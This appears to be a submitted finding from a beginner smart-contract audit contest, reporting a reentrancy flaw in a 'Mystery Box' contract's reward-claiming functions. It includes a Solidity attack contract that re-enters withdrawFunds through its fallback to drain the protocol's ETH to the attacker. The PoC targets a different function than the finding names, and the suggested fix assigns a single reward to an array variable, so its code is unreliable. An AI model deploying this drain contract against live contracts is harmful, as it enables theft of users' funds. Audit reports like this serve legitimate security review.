Mystery Box
First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

The functions `claimAllRewards` and `claimSingleReward` have problem with re-entrancy attack

eth0x

Summary

A part for deleting delete rewardsOwned[msg.sender] and delete rewardsOwned[msg.sender][_index] should be befor rewardsOwned[_to].push(rewardsOwned[msg.sender][_index]);

Vulnerability Details

A reentrancy attack is a type of vulnerability in smart contracts that allows an attacker to repeatedly call a function before the previous execution is completed.

POC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
​
import "./MysteryBox.sol";
​
contract Attack {
MysteryBox public mysteryBox;
address public owner;
​
constructor(address _mysteryBoxAddress) {
mysteryBox = MysteryBox(_mysteryBoxAddress);
owner = msg.sender;
}
​
// Fallback function to receive ETH and re-enter the withdraw function
fallback() external payable {
if (address(mysteryBox).balance >= 0.1 ether) {
mysteryBox.withdrawFunds();
}
}
​
function attack() external payable {
require(msg.sender == owner, "Only owner can attack");
require(msg.value >= 0.1 ether, "Need at least 0.1 ETH to attack");
​
// Fund the attack contract and start the attack
mysteryBox.buyBox{value: 0.1 ether}();
mysteryBox.withdrawFunds();
}
​
// Function to withdraw stolen funds
function withdraw() external {
require(msg.sender == owner, "Only owner can withdraw");
payable(owner).transfer(address(this).balance);
}
}
​

Impact

All founds from the Protocol can be stolen.

Tools Used

Foundry

Recommendations

Please change order of commands in function to:

Reward[] rewards = rewardsOwned[msg.sender][_index];
​
delete rewardsOwned[msg.sender][_index];
​
rewardsOwned[_to].push(rewards);

To protect your smart contract from reentrancy attacks, you can use the checks-effects-interactions pattern or rich libraries from OpenZepplin like ReentrancyGuard or PullPayment.

Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimAllRewards` reentrancy

`claimSingleReward` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!